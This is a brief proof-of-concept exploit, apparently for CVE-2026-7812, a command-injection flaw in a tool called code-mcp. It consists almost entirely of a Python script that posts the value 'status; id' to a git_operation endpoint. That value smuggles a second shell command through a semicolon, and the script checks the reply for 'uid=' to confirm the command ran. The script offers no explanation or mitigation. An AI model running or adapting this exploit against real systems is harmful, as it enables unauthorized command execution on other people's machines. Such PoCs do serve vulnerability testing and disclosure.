CVE-2026-7812 code-mcp命令注入漏洞

import requests import json # Target URL (example, replace with actual target) target_url = "http://localhost:8000/git_operation" # The vulnerable parameter is 'operation' # Payload attempts to execute 'id' command after a valid git operation or separator payload_data = { "operation": "status; id" } headers = { "Content-Type": "application/json" } try: # Sending malicious request response = requests.post(target_url, data=json.dumps(payload_data), headers=headers) print(f"Status Code: {response.status_code}") print(f"Response Body:\n{response.text}") # Check if command execution indicators are present if "uid=" in response.text or "gid=" in response.text: print("[+] Potential Command Injection detected!") else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"An error occurred: {e}")